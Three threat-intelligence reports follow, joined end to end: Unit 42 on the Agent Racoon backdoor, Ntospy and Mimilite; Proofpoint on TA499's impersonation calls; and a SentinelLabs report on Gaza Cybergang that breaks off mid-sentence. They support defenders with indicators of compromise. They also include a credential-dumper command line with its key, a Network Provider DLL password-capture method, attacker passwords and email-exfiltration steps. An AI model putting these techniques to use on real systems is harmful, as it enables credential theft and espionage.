unit42.paloaltonetworks.com/new-toolset-targets-middle-east-africa-usa Chema Garcia December 1, 2023 By Chema Garcia December 1, 2023 at 3:00 AM Category: Malware Tags: .NET Framework, Advanced URL Filtering, Advanced WildFire, Agent Raccoon, backdoor, CL-STA-0002, CL-STA-0043, Cortex XDR, DNS, DNS security, Mimikatz, Mimilite, Ntospy This post is also available in: (Japanese) Executive Summary Unit 42 researchers observed a series of apparently related attacks against organizations in the Middle East, Africa and the U.S. We will discuss a set of tools used in the course of the attacks that reveal clues about the threat actors activity. We are sharing this research to provide detection, prevention and hunting recommendations to help organizations strengthen their overall security posture. These tools were used to perform the following activities: Establish backdoor capabilities For command and control (C2) Steal user credentials. Exfiltrate confidential information Unit 42 is sharing these results with the purpose of helping organizations defend against the tools observed here. We assess with medium confidence that this threat activity cluster aligns to nation-state related threat actors due to the nature of the organizations that were compromised, the TTPs observed and the customization of the tool set. We have not confirmed a particular nationstate or threat group. Tools that were used in this cluster were the following: 1/22 A new backdoor we ve named Agent Racoon This malware family is written using the .NET framework and leverages the domain name service (DNS) protocol to create a covert channel and provide different backdoor functionalities. Threat actors have used this along with the other two tools in multiple attacks targeting organizations across the U.S., Middle East and Africa. Its C2 infrastructure dates back to 2020. A new tool we ve named Ntospy This malware is a Network Provider DLL module designed to steal user credentials. A customized version of Mimikatz called Mimilite The compromised organizations belong to the following industries: Education Real estate Retail Non-profit organizations Telecom companies Governments Based on unique similarities in tools as well as tactics, techniques and procedures (TTPs), we are tracking this threat activity cluster as CL-STA-0002. What follows is a detailed description of the activity we observed as well as characteristics of the tool set. Palo Alto Networks customers receive protection from these threats through Cortex XDR as well as Advanced URL Filtering, DNS Security and Advanced Wildfire. Organizations can engage the Unit 42 Incident Response team for specific assistance with this threat and others. Related Unit 42 Topics DNS, Mimikatz, Backdoor Table of Contents Activity Summary Gaining Access to Credentials with Ntospy Credentials Dumping Through Mimilite Agent Racoon Backdoor Data Exfiltration Conclusion Indicators of Compromise Additional Resources 2/22 Activity Summary The threat actor used temporary directories such as C:\Windows\Temp and C:\Temp to deploy specific components of their tool set across the different affected organizations. They used the following similar filenames for batch and PowerShell scripts: c:\windows\temp\crs.ps1 c:\windows\temp\ebat.bat c:\windows\temp\install.bat c:\windows\temp\mslb.ps1 c:\windows\temp\pb.ps1 c:\windows\temp\pb1.ps1 c:\windows\temp\pscan.ps1 c:\windows\temp\set_time.bat c:\windows\temp\usr.ps1 While the attackers commonly used Ntospy across the affected organizations, the Mimilite tool and the Agent Racoon malware have only been found in nonprofit and governmentrelated organizations environments. After each attack session, the threat actor leveraged cleanmgr.exe to clean up the environment used during the session. Gaining Access to Credentials with Ntospy To perform credential theft, the threat actor used a custom DLL module implementing a Network Provider. A Network Provider module is a DLL component implementing the interface provided by Microsoft to support additional types of network protocols during the authentication process. This technique is pretty well documented. Sergey Polak demonstrated the technique at BlackHat back in 2004 at his session titled Capturing Windows Passwords using the Network Provider API. In 2020, researcher Grzegorz Tworek uploaded his tool NPPSpy to GitHub, which also implements this technique. Due to the file naming patterns of the DLL module, and as a reference to the previous research and tools, Unit 42 researchers named this malware family Ntospy. The threat actor registers the Ntospy DLL module as a Network Provider module to hijack the authentication process, to get access to the user credentials every time the victim attempts to authenticate to the system. Figure 1 illustrates the path of the processes the malware used during the authentication process to load the malicious DLL module in an MS Exchange Server environment. 3/22 Figure 1. Image path of processes loading the malicious DLL component in an MS Exchange environment. The threat actor s implementation of this technique has some unique features. They created different versions of the Ntospy malware over the time frame we observed. They all share similarities, such as the following: Using filenames with Microsoft patch patterns. .msu extensions pretending to be Microsoft Update Package files to store the received credentials in cleartext. RichPE header hashes that link different samples to the same compilation environment. To install the DLL module, the threat actor registers a new Network Provider called credman. They do so by using an installation script found at C:\Windows\Temp\install.bat that installs the Network Provider by using reg.exe. The malware then sets the DLL module path by pointing to the malicious DLL module c:\windows\system32\ntoskrnl.dll. Figure 2 shows static commonalities across the different DLL modules we identified as belonging to the same malware family. The image also illustrates that there are overlaps on the RichPE header hash as well as the PE sections of the samples. 4/22 Figure 2. Graph of static features relation across samples. In the group of samples with the same RichPE header hash, we saw that they had been compiled using the same environment. In this case, that was Visual Studio 2019 v16.0.0 build 27508. Other samples of the malware family have been compiled on different environments or even tweaked to avoid overlapping. The samples that don t share the same build environment are actually similar in behavior, but they have some differences in implementation. For instance, some of the malware samples contain the file path used to store the credentials hard-coded in plain text. Figures 3 and 4 show how others use an encrypted file path and stack strings. Figure 3. Pseudocode showing the hard-coded file path in cleartext. 5/22 Figure 4. Pseudocode showing the file path encrypted with a stream cipher. Decrypting the file path at runtime shows that the versions using an encrypted file path also use the same file path pattern, as shown in Figure 5. Figure 5. File path decrypted at runtime. All the DLL modules we identified use the same file path pattern, abusing the .msu file extension to masquerade as a Microsoft Update Package. The following paths are used by the malware samples: c:/programdata/microsoft/~ntuserdata.msu c:/programdata/package cache/windows10.0-kb5000736-x64.msu c:/programdata/package cache/windows10.0-kb5009543-x64.msu c:/programdata/packag~1/windows 6.1-kb4537803.msu Also, the DLL files are stored in the following file paths: C:\Windows\System32\ntoskrnl.dll C:\Windows\Temp\ntoskrnl.dll C:\Windows\Temp\ntos.dll 6/22 While the first file path is the one used to actually install the Network Provider module, the Temp directory is the working directory used by the threat actor to temporarily store the DLL modules. As shown in the file paths above, the threat actor used Windows binary name patterns (based on the Windows system file named ntoskrnl.exe) in an attempt to trick victims and analysts into overlooking the malicious DLL component. The first activity is identified with the malware sample with the file hash SHA256 bcd2bdea2bfecd09e258b8777e3825c4a1d98af220e7b045ee7b6c30bf19d6df. This overlaps with another threat activity cluster that we call CL-STA-0043, originally published in June 2023. Credentials Dumping Through Mimilite Another tool used for gathering credentials and sensitive information is a customized version of the well-known Mimikatz tool that, according to references within the sample, the threat actor calls Mimilite. The tool is a reduced version of Mimikatz, which needs to be given a password through the command line to run: C:\temp\update.exe 1dsfjlosdf23dsfdfr When the binary is executed, it takes the command-line argument as a decryption key to decrypt the actual payload using a stream cipher. Before executing the decrypted payload, the binary verifies that the payload has been successfully decrypted with the right key by performing an integrity check. This check is done by comparing the MD5 hash of the decrypted payload with the hard-coded value b855dfde7f778f99a3724802715a0baa, as shown in the code snippet in Figure 6. 7/22 Figure 6. Execution logic. When executed properly, the tool dumps the credentials to the file path C:\Windows\Temp\KB200812134.txt. This choice of filename is another attempt by the threat actors to masquerade as a Microsoft update. The Mimilite sample was found at C:\temp\update.exe with the file hash SHA256 3490ba26a75b6fb295256d077e0dbc13e4e32f9fd4e91fb35692dbf64c923c98. It was first uploaded to VirusTotal on 2020-05-11 05:43:00 UTC and first identified in the wild on 202102-12 21:54:35 UTC. What we find interesting is that according to VirusTotal, this sample has been uploaded and discovered in the wild using the following path and filename: C:\restrict\analysis\apt_sorted\attack_case\[REDACTED_LOCATION]\[REDACTED_COU update.exe The elements of this path might suggest that the same binary has been involved in some sort of research that the uploader believed was linked with nation-state actors. Agent Racoon Backdoor 8/22 The Agent Racoon malware family is built to provide backdoor capabilities. It is written using the .NET framework, and leverages DNS to establish a covert channel with the C2 server. Unit 42 researchers named the malware family Agent Racoon due to some references found within the code of the identified samples, as shown in Figure 7. Figure 7. .NET Project details. When executed, the threat has some predefined settings such as: The base domain used to create the DNS covert channel A unique key per sample, used as a seed to generate an encryption password to encrypt the DNS communication A fallback DNS server if no DNS server can be read from the compromised system All the C2 domains identified fulfill the same base pattern, with unique values for the four character identifier across different samples: [4 characters].telemetry.[domain].com The value of Program.dns_ip is different for each sample found, which could indicate that the threat actor is building the binary with specific settings gathered from the targeted environment. 9/22 Figure 8. Main function of the malware sample. With that pattern, the threat communicates with the C2 server by adding additional subdomains to build the DNS query. It uses Internationalizing Domain Names for Applications (IDNA) domain names with Punycode encoding. This encoding type is a representation of Unicode values over the ASCII encoding for internet hostnames. The domain names follow the pattern below: [random_val].a.[4 characters].telemetry.[domain].com The screenshot from Wireshark in Figure 9 illustrates a complete DNS query: Figure 9. Sample DNS query. 10/22 To manage the communication with the C2 server, the malware uses a communication loop shown in Figure 10. Figure 10. Communication loop. The following are some main features of the communication loop above: The communication loop finishes when the answer xn--cc is received from the C2 server, or a communication error occurs. 11/22 The randomized delay between messages can have multiple reasons: To avoid network spikes. To avoid potential network congestion. To provide randomness as an attempt to avoid network beaconing detection. The encryption of all the communication messages through Program.Util.RC. The encryption routine implements a stream cipher that takes the initial unique key per sample Program.key (this.defaultkey), as shown in Figure 11. It then creates a 1-byte encryption key to later encrypt the message with an XOR. Figure 11. Stream cipher routine. Depending on the length of the message sent to the C2 server, different subdomains are added to the query, as shown in the code snippet in Figure 12. 12/22 Figure 12. Partial request crafting. The this.Rand() component of the fully qualified domain name (FQDN) build is intended to avoid caching and ensure the request reaches out to the C2 server. Agent Racoon provides the following backdoor functionality: Command execution File uploading File downloading Although Agent Racoon does not provide any sort of persistence mechanism by itself, during the activity we observed, the threat was executed by using scheduled tasks. Unit 42 researchers discovered the following samples using different subdomains of telemetry.geoinfocdn[.]com, as shown in Figure 13. The domain geoinfocdn[.]com was registered on 2022/08/19 UTC for one year. 13/22 Figure 13. Samples linked with file path and base C2 domain. Unit 42 researchers were able to track the Agent Racoon malware family back to July 2022. Two samples of the malware family were uploaded to VirusTotal from Egypt and Thailand in September 2022 and July 2022 with the following SHA256 hashes: 3a2d0e5e4bfd6db9c45f094a638d1f1b9d07110b9f6eb8874b75d968401ad69c dee7321085737da53646b1f2d58838ece97c81e3f2319a29f7629d62395dbfd1 These two samples used the same subdomain patterns, but this time the domain used for C2 was telemetry.geostatcdn[.]com. Threat actors performed the following activities regarding this domain on the dates shown: Registered: 2020/08/27 UTC First seen in the wild: 2021/06/17 23:10:58 UTC Renewed: 2021/08/18 UTC Expired: 2022/08/27 UTC Figure 14 shows that with this information, two groups of malware samples can be identified using different C2 domain names and file paths since 2020. 14/22 Figure 14. Malware samples identified. The threat actor tried to disguise the Agent Racoon binary as Google Update and MS OneDrive Updater binaries. The malware developers made small modifications to the source code in an attempt to evade detection. Some samples used a domain hard-coded in plain text to establish the DNS covert channel (as shown in Figure 15), whereas other samples used a Base64 encoded string. Figure 15. Base64 encoded C2 domain. Aside from the Base64 feature, the differences are in the settings and not in the actual source code, except for the sample with SHA256 hash 354048e6006ec9625e3e5e3056790afe018e70da916c2c1a9cb4499f83888a47. This sample has a compilation timestamp that was modified and is outside the time frame of activity: 2075/02/23 08:12:59 UTC. As shown in Figure 16, the threat actor also tried to obfuscate the constant cmd.exe to avoid signature-based detections. They did so by using the equivalent Base64 encoded value with the added constant 399 so the equivalent Base64 encoded string can t be detected through signatures. 15/22 Figure 16. Obfuscated cmd.exe pattern. Data Exfiltration Unit 42 researchers also identified the collection and successful exfiltration of confidential information, such as emails from MS Exchange environments, using PowerShell snap-ins to dump the emails. In the search criteria from the command above, the threat actor used similar commands to search through different folders, mailboxes and dates to dump those emails. After dumping the emails, the threat actor tried to compress the .pst file with a command-line RAR tool before exfiltrating it: However, the threat actor canceled the attempt to compress the .pst file by using the tool taskkill.exe approximately eight minutes later. Eventually the threat actor discarded the usage of raren.exe and simply renamed the .pst file, moving it to the IIS root directory and mimicking an error log in a compressed file to download it through the web server. And finally, the ai.pst file is removed. 16/22 This process is repeated for several mailboxes with different search criteria. In addition to the email exfiltration, Unit 42 researchers identified exfiltration of the victim Roaming Profile. A Roaming Profile is used to serve the same profile to the user when logging in from different computers from the same Active Directory environment. To exfiltrate this, the threat actor compressed the directory by using the standalone version of the 7-Zip tool (which they dropped into the system using certutil.exe), and split the compressed file into chunks of 100 MB. Later, following the same procedure, the threat actor exfiltrated the content. Conclusion Our hope in sharing the descriptions of this tool set is that readers can use this information to search their networks to identify other possible attacks using these tools. This tool set is not yet associated with a specific threat actor, and not entirely limited to a single cluster or campaign. As mentioned at the beginning of this article, we found an overlapping Ntospy sample with SHA256 bcd2bdea2bfecd09e258b8777e3825c4a1d98af220e7b045ee7b6c30bf19d6df with a previously identified threat activity cluster CL-STA-0043. However, the overlaps are not limited to that sample. We have also identified two compromised organizations in common across both activity clusters. Some of the TTPs match on both clusters, such as the MS Exchange PowerShell snap-ins and one of the Network Provider DLL modules. 17/22 Unit 42 researchers believe this threat activity cluster aligns with medium confidence to nation-state related threat actors for the following reasons: The detection and defense evasion techniques used The exfiltration activity observed The victimology The customization level of the tools used The TTPs observed Palo Alto Networks customers receive protections from the threats discussed above through the following products: Cortex XDR includes detections and protections related to the IoCs shared in this research Advanced URL Filtering and DNS Security blocks related C2 domains as malicious The Advanced WildFire machine-learning models and analysis techniques have been reviewed and updated in light of the IoCs shared in this research If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America Toll-Free: 866.486.4842 (866.4.UNIT42) EMEA: +31.20.299.3130 APAC: +65.6983.8730 Japan: +81.50.1790.0200 Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance. MITRE ATT&CK Mapping During the research activity related to the tool set uncovered on this blog, Unit 42 researchers identified a set of TTPs, which we ve mapped to the MITRE ATT&CK matrix in the table below. Name T1003 OS Credential Dumping T1018 Remote System Discovery T1021.006 Remote Services: Windows Remote Management 18/22 T1027.009 Obfuscated Files or Information: Embedded Payloads T1030 Data Transfer Size Limits T1036.005 Masquerading: Match Legitimate Name or Location T1036.008 Masquerading: Masquerade File Type T1041 Exfiltration Over C2 Channel T1046 Network Service Discovery T1047 Windows Management Instrumentation T1053.005 Scheduled Task/Job: Scheduled Task T1059.001 Command and Scripting Interpreter: PowerShell T1059.003 Command and Scripting Interpreter: Windows Command Shell T1070.004 Indicator Removal: File Deletion T1070.006 Indicator Removal: Timestomp T1071.004 Application Layer Protocol: DNS T1074 Data Staged T1078.002 Valid Accounts: Domain Accounts T1087.002 Account Discovery: Domain Account T1112 Modify Registry T1114 Email Collection T1132.001 Data Encoding: Standard Encoding T1136.002 Create Account: Domain Account T1140 Deobfuscate/Decode Files or Information T1505.003 Server Software Component: Web Shell T1556.008 Modify Authentication Process: Network Provider DLL T1560.001 Archive Collected Data: Archive via Utility T1564.002 Hide Artifacts: Hidden Users T1570 Lateral Tool Transfer 19/22 T1573.001 Encrypted Channel: Symmetric Cryptography T1583.001 Acquire Infrastructure: Domains T1583.002 Acquire Infrastructure: DNS Server T1587.001 Develop Capabilities: Malware Indicators of Compromise Type 2632bcd0715a7223bda1779e107087964037039e1576d2175acaf61d3759360f SHA256 ae989e25a50a6faa3c5c487083cdb250dde5f0ecc0c57b554ab77761bdaed996 SHA256 C:\Windows\Temp\install.bat File path c:/programdata/microsoft/~ntuserdata.msu File path c:/programdata/packag~1/windows 6.1-kb4537803.msu File path c:/programdata/package cache/windows10.0-kb5009543-x64.msu File path c:/programdata/package cache/windows10.0-kb5000736-x64.msu File path credman Network provider name HKLM\SYSTEM\CurrentControlSet\Services\credman Registry key path c:\windows\system32\ntoskrnl.dll File path C:\Windows\Temp\ntos.dll File path C:\Windows\Temp\ntoskrnl.dll File path e30f8596f1beda8254cbe1ac7a75839f5fe6c332f45ebabff88aadbce3938a19 SHA256 20/22 1a4301019bdf42e7b2df801e04066a738d184deb22afcad9542127b0a31d5cfa SHA256 e7682a61b6c5b0487593f880a09d6123f18f8c6da9c13ed43b43866960b7aa8e SHA256 58e87c0d9c9b190d1e6e44eae64e9a66de93d8de6cbd005e2562798462d05b45 SHA256 7eb901a6dbf41bcb2e0cdcbb67c53ab722604d6c985317cb2b479f4c4de7cf90 SHA256 f45ea12579f636026d29009190221864f432dbc3e26e73d8f3ab7835fa595b86 SHA256 bcd2bdea2bfecd09e258b8777e3825c4a1d98af220e7b045ee7b6c30bf19d6df SHA256 C:\temp\update.exe File path 1dsfjlosdf23dsfdfr Encryptio b855dfde7f778f99a3724802715a0baa 4351911f266eea8e62da380151a54d5c3fbbc7b08502f28d3224f689f55bffba SHA256 e0748ce315037253f278f7f8f2820c7dd8827a93b6d22d37dafc287c934083c4 SHA256 baed169ce874f6fe721e0d32128484b3048e9bf58b2c75db88d1a8b7d6bb938d SHA256 3a2d0e5e4bfd6db9c45f094a638d1f1b9d07110b9f6eb8874b75d968401ad69c SHA256 4351911f266eea8e62da380151a54d5c3fbbc7b08502f28d3224f689f55bffba SHA256 354048e6006ec9625e3e5e3056790afe018e70da916c2c1a9cb4499f83888a47 SHA256 dee7321085737da53646b1f2d58838ece97c81e3f2319a29f7629d62395dbfd1 SHA256 geostatcdn[.]com Domain telemetry.geostatcdn[.]com Domain fdsb.telemetry.geostatcdn[.]com Domain dlbh.telemetry.geostatcdn[.]com Domain lc3w.telemetry.geostatcdn[.]com Domain hfhs.telemetry.geostatcdn[.]com Domain geoinfocdn[.]com Domain telemetry.geoinfocdn[.]com Domain g1sw.telemetry.geoinfocdn[.]com Domain c:/windows/temp/onedriveupdater.exe File path 21/22 c:/windows/system32/msmdlb.exe File path c:/windows/temp/onedriveupdater.exe File path c:/program files (x86)/google/update/googleupdate.exe File path c:\windows\temp\mslb.ps1 File path c:\windows\temp\set_time.bat File path c:\windows\temp\pscan.ps1 File path c:\windows\temp\crs.ps1 File path c:\windows\temp\usr.ps1 File path c:\windows\temp\pb.ps1 File path c:\windows\temp\ebat.bat File path c:\windows\temp\pb1.ps1 File path c:\windows\temp\raren.exe File path aabbcc123 Password 086a6618705223a8873448465717e288cf7cc6a3af4d9bf18ddd44df6f400488 SHA256 P@ssw0rd1 Password Assistance$ Username Zaqwsx123 Password 22/22 t Answer That! Russia-Aligned TA499 Beleaguers Targets with Video Call Requests proofpoint.com/us/blog/threat-insight/dont-answer-russia-aligned-ta499-beleaguers-targets-video-call-requests March 1, 2023 Blog Threat Insight t Answer That! Russia-Aligned TA499 Beleaguers Targets with Video Call Requests March 07, 2023 Zydeca Cass and the Proofpoint Threat Research Team Key Takeaways TA499, also known as Vovan and Lexus, is a Russia-aligned threat actor that has aggressively engaged in email campaigns since at least 2021. The threat actor s campaigns attempt to convince high-profile North American and European government officials as well as CEOs of prominent companies and celebrities into participating in recorded phone calls or video chats. The calls are almost certainly a pro-Russia propaganda effort designed to create negative political content about those who have spoken out against Russian President Vladimir Putin and, in the last year, opposed Russia s invasion of Ukraine. TA499 is not a threat to take lightly due to the damage such propaganda could have on the brand and public perception of those targeted as well as the perpetuation of disinformation. Overview Proofpoint researchers have been tracking malicious email campaigns by the Russia-aligned TA499, publicly known as Vovan and Lexus, since early 2021. TA499 s campaigns began to ramp up in late January 2022, culminating in increasingly aggressive attempts after Russia invaded Ukraine in late February 2022. Since that time, the threat actor has engaged in steady activity and expanded its targeting to include prominent businesspeople and highprofile individuals that have either made large donations to Ukrainian humanitarian efforts or those making public statements about Russian disinformation and propaganda. These messages try to solicit information from the targeted individuals and entice them into further contact via phone calls or remote video. The emails have not contained malware, only communications or invitations purporting to be from an embassy of Ukraine, Ukraine Prime Minister, a Ukrainian parliamentarian, or their assistants. Proofpoint tracks TA499 as an impersonation-based, patriotically motivated misinformation pair of actors aligned with the Russian state. The group has a record of targeting high-profile persons of interest that have spoken out about the Russian regime, in favor of sanctions 1/10 against Russia, and against the detainment of well-known Russian opposition leader Alexei Navalny. While the level of official government support TA499 receives is unknown, the recordings are generally used to garner support and sympathy for the current Russian regime and their actions. Critiques of Putin, Russia Spur TA499 Action in 2022 TA499 s email campaigns kicked into high gear as tensions built between Russia and Ukraine and has not abated since Russia invaded Ukraine in February 2022. Figure 1. Timeline of TA499 activity in 2022. Since late-January 2022, the threat actor has largely focused its email attempts on scheduling a video or phone call meeting with high-profile North American or European government officials and CEOs of prominent companies. In a shift from their 2021 activity, these campaigns have almost exclusively centered on topics relating to the Russia-Ukraine war. Even after TA499 expanded its victimology in March 2022 to include public figures not in government positions, such as businesspeople and celebrities, the threat actor kept with these same social engineering themed lures. Only in the latter half of 2022 did TA499 begin to reincorporate some of its pre-war themes and email addresses, but those continue to be a fraction of their overall activity. Early 2022: TA499 s initial 2022 campaigns used the same actor-controlled domain (oleksandrmerezhko[.]com) and sender address (office@oleksandrmerezhko[.]com) as its 2021 campaigns, and directly targeted individuals that had spoken out regarding: Bill to Arm Ukraine against Russia 2/10 Support of Sanctions on the Nord Stream II Pipeline Bombing of Russian military assets and other military actions By March 2022, amid a backdrop of condemnation by the international community of Russian President Vladimir Putin s actions in Ukraine and instatement of sanctions, TA499 adopted new personality impersonations. Most notably, the threat actor began to masquerade as the Ukrainian Prime Minister Denys Shmyhal and his purported assistant. To make the emails convincing in their legitimacy, the sender addresses leveraged the popular internet service and email provider Ukr.net and pretended to be from either the Embassy of Ukraine to the US or the Embassy of Ukraine in the US: embassy.usa@ukr[.]net and embassy.us@ukr[.]net. The subjects focused on Ukrainian officials making requests of the targets, such as: Ukrainian Parliament [Target Name]. Request Prime Minister of Ukraine. Request Ukrainian Parliament [Target Name] Embassy of Ukraine - CEO [Target Name]. Request As seen in Figure 2, Proofpoint researchers identified and tracked this new activity through TA499 s preference for including their new sender addresses in the TO: or CC: lines of email campaigns leveraging older addresses. It is important to note that the threat actor cycles through its addresses. While one may appear to have gone dormant, it could return in future TA499 campaigns. 3/10 Figure 2. Proofpoint attributed email addresses to TA499. The threat actor primarily used the first four in 2021 and the last two in its 2022 campaigns; however, TA499 started to leverage its Navalny and Merezhko email addresses again in late 2022. According to open-source reporting, in addition to the Proofpoint-identified campaigns, the Shmyhal personality was used to target two UK cabinet members as well. Given the similarities in tactics, Proofpoint researchers assess with high confidence that this was the work of TA499. Mid-2022: By mid-2022, TA499 started to explore using an additional embassy-themed email address (embassy.chernysh@ukr[.]net) and even utilized an actor-controlled International Atomic Energy Agency (IAEA)-themed domain (office@iaea[.]co[.]uk) to send emails with a subject line of URGENT: IAEA Director General to international aides and assistance of senior government officials. The timing of this activity aligned with a public statement by the IAEA Director General about the urgent situation at Ukraine s Zaporizhzhia nuclear power plant. It is likely that the international attention surrounding the state of the power plant inspired TA499 s decision to use an IAEA lure. A Return to Early TA499 Themes 4/10 Through the rest of 2022, TA499 integrated email addresses not observed in Proofpoint data since at least March 2022, including those pretending to be Oleksandr Merezhko, a Ukrainian Member of Parliament (MP) and Vice President of the Parliamentary Assembly of the Council of Europe (PACE), and Leonid Volkov, the Chief of Staff for Russian opposition leader Alexei Navalny (noted in Figure 2). Figure 3. In late 2022, TA499 again posed as Merezhko and used email address office@oleksandrmerezhko[.]com. This address was dormant between March 2022 and September 2022. Navalny has long been a focus for TA499 campaigns with the threat actor targeting individuals with an interest in and publicly positive stances on the oppositionist since early 2021. Timeline analysis and Proofpoint telemetry have revealed targeting of individuals explicitly involved in the statements condemning the arrest of Navalny on February 2nd, 2021, and the reintroduction of the Holding Russia Accountable for Malign Activities Act of 2021 on February 3rd, 2021. As seen in the sample email in Figure 4, TA499 has repeatedly used social engineering with a focus on directing conversation to easily recorded meetings and subject lines such as: Request. Vice-President of the Parliamentary Assembly of the Council of Europe (PACE) 5/10 [redacted] - Russian opposition leader Alexei Navalny's team Russian opposition leader Alexei Navalny's team [redacted] Alexei Navalny's Chief of Staff - [redacted]. Request Re: Meeting with Mr Volkov Figure 4. A 2021 email message posing as Leonid Volkov, Alexei Navalny s Chief of Staff. The World is Watching On YouTube (or RUTUBE) TA499 posts recordings of its video calls on YouTube and RUTUBE. One of the threat actor YouTube channels was taken down early in the Russia-Ukraine war, forcing TA499 to revert to using one of its older YouTube channels for posting. For high-profile targets that agree to follow-up video calls, TA499 has pretended to be various people, going so far as to use extensive makeup to appear exactly like the impersonated individual. They have masqueraded as the Prime Minister of Ukraine, Denys Shmyhal, and Oleksandr Merezhko. Video calls recorded in 2021 show TA499 impersonating Leonid Volkov as well. Open-source reporting has detailed the use of Deepfake Artificial Intelligence software to explain how TA499 takes on Volkov s appearance, and possibly that of others, though the malicious actor denies the use of the software. The actor does not appear to be using any voice modulation, primarily focusing on the targets lack of familiarity with the contact and the element of surprise. 6/10 Figure 5. Screenshot (left) from TA499 s first episode of or Deepfake Show, where Lexus impersonates Leonid Volkov, and picture of the real Volkov (right) for comparison. Conversations with TA499 typically begin serious and allow the target to voluntarily say as much information as possible. Once the target begins asking questions, the actor mirrors the target s replies to keep the conversation going. Some of the 2021 videos with the threat actor have the Leonid Volkov impersonator asking for financial support and appear to encourage the target into voicing particular obligations and efforts in tandem with the Russian opposition led by Navalny. Once the target makes a statement on the matter, the video devolves into antics, attempting to catch the target in embarrassing comments or acts. The recordings are then edited for emphasis and placed on YouTube and Twitter for Russian and English-speaking audiences. 7/10 Figure 6. TA499 posted a video call with fugitive Kazakh oligarch Mukhtar Ablyazov on the threat actor s YouTube channel, which has since been taken down. Conclusion TA499 is a very public group that is garnering a fan following. They have personas that not only post the material discussed in this report online but also perform reenactments on Russia state-sponsored media as well as attend conferences. With the war between Russia and Ukraine unlikely to end in the near-term and Ukraine continuing to garner support from organizations worldwide, Proofpoint assesses with high confidence that TA499 will attempt to continue with its campaigns in support of its influencer content and political agenda. TA499 is likely to reuse old or establish additional infrastructure in support of this activity. Being a target of this group is gradually becoming more common. While the primary targeting of TA499 remains the C-level or the highest profile positions possible at any given entity, Proofpoint recommends that anyone who suspects they might be a target of TA499 take care in verifying the identities of those inviting them to conduct business or discuss 8/10 political topics over video conferencing. In particular, if high-profile individuals reach out suddenly via email and without prior introduction through a known and verified source, you should proceed with caution. Check out the latest podcast episode on DISCARDED, Prank or Propaganda? TA499 Pesters Politics. Listen now on our website, Apple Podcasts, Spotify, Google Podcasts or wherever you get podcasts. Indicators of Compromise (IOCs) Indicator Type Description office@oleksandrmerezhko[.]com Sender address 2022 campaigns secretary.mfa@gmail[.]com Sender address 2022 campaigns embassy.usa@ukr[.]net Sender address 2022 campaigns embassy.us@ukr[.]net Sender address 2022 campaigns s.dorenko@ukr[.]net Sender address 2022 campaigns embassy.chernysh@ukr[.]net Sender address 2022 campaigns office@iaea[.]co[.]uk Sender address 2022 campaign iaea[.]com[.]uk Domain 2022 campaign oleksandrmerezhko[.]com Domain 2021 & 2022 campaigns navalny[.]team Domain 2021 campaigns office@oleksandrmerezhko[.]com Sender address 2021 & 2022 campaigns lvolkov@navalny[.]team Sender address 2021 campaigns julia@navalny[.]team Sender address 2021 campaigns 9/10 10/10 Gaza Cybergang | Unified Front Targeting Hamas Opposition sentinelone.com/labs/gaza-cybergang-unified-front-targeting-hamas-opposition Aleksandar Milenkoski Executive Summary Overlaps in targeting, malware characteristics, and long-term malware evolutions post 2018 suggest that the Gaza Cybergang sub-groups have likely been consolidating, possibly involving the establishment of internal and/or external malware supply lines. Gaza Cybergang has upgraded its malware arsenal with a backdoor that we track as Pierogi++, first used in 2022 and seen throughout 2023. Recent Gaza Cybergang activities show consistent targeting of Palestinian entities, with no observed significant changes in dynamics since the start of the Israel-Hamas war. SentinelLabs analysis reinforces the suspected ties between Gaza Cybergang and WIRTE, historically considered a distinct cluster with loose relations to the Gaza Cybergang. Overview Active since at least 2012, Gaza Cybergang is a suspected Hamas-aligned cluster whose operations are primarily targeting Palestinian entities and Israel, focusing on intelligence collection and espionage. Being a threat actor of interest in the context of the Israel-Hamas war, we track Gaza Cybergang as a group composed of several adjacent sub-groups observed to share victims, TTPs, and use related malware strains since 2018. These include Gaza Cybergang Group 1 (Molerats), Gaza Cybergang Group 2 (Arid Viper, Desert Falcons, APT-C-23), and Gaza Cybergang Group 3 (the group behind Operation Parliament). The goal of this post is twofold: To highlight relations between recent and historical operations, providing a new common context connecting the Gaza Cybergang sub-groups. To provide recent findings and previously unreported IOCs, which add to the accumulated knowledge of the group and support further collective tracking of Gaza Cybergang activities. In the midst of Gaza Cybergang activity spanning from late 2022 until late 2023, we observed that the group introduced a new backdoor to their malware arsenal used in targeting primarily Palestinian entities. We track this backdoor as Pierogi++. We assess that 1/14 Pierogi++ is based on an older malware strain named Pierogi, first observed in 2019. We also observed consistent targeting of Palestinian entities in this time period using the group staple Micropsia family malware and Pierogi++. This targeting is typical for Gaza Cybergang. These activities are likely aligned with the tensions between the Hamas and Fatah factions, whose reconciliation attempts had been stagnating before and after the outbreak of the Israel Hamas war. At the time of writing, our visibility into Gaza Cybergang s activities after the onset of the conflict does not point to significant changes in their intensity or characteristics. Our analysis of recent and historical malware used in Gaza Cybergang operations highlights new relations between activities that have taken place years apart the Big Bang campaign (2018) and Operation Bearded Barbie (2022). Further, technical indicators we observed, originating from a recently reported activity, reinforce a suspected relation between Gaza Cybergang and the lesser-known threat group WIRTE. This group has historically been considered a distinct cluster and then associated with low confidence with the Gaza Cybergang. This demonstrates the intertwined nature of the Gaza Cybergang cluster making the accurate delineation between its constituent and even other suspected Middle Eastern groups challenging. Throughout our analysis of Gaza Cybergang activities spanning from 2018 until present date we observed consistent malware evolution over relatively long time periods. This ranges from minor changes in used obfuscation techniques, to adopting new development paradigms, and resurfacing old malware strains in the form of new ones (as Pierogi++ demonstrates). In addition, the observed overlaps in targeting and malware similarities across the Gaza Cybergang sub-groups after 2018 suggests that the group has likely been undergoing a consolidation process. This possibly includes the formation of an internal malware development and maintenance hub and/or streamlining supply from external vendors. Micropsia and Pierogi++ Target Hamas Opposition The Gaza Cybergang umbrella has continuously targeted Israeli and Palestinian entities preceding the Israel-Hamas war. We observed additional activities spanning from late 2021 to late 2023 aligned with previous research. Our visibility into these activities, and the theme and language of the used lure and decoy documents, indicate that they were primarily targeting Palestinian entities. The majority involved malware variants of the staple Micropsia family. Among the Micropsia family malware, we observed its Delphi and Python-based variants deploying decoy documents written in Arabic and focussing on Palestinian matters, such as the Palestinian cultural heritage and political events. Many of the associated C2 domain names, such as bruce-ess[.]com and wayne-lashley[.]com, reference public figures, 2/14 which aligns with the known domain naming conventions of the group. To support further collective tracking of Gaza Cybergang activities, we focus at the end of the report on listing previously unreported 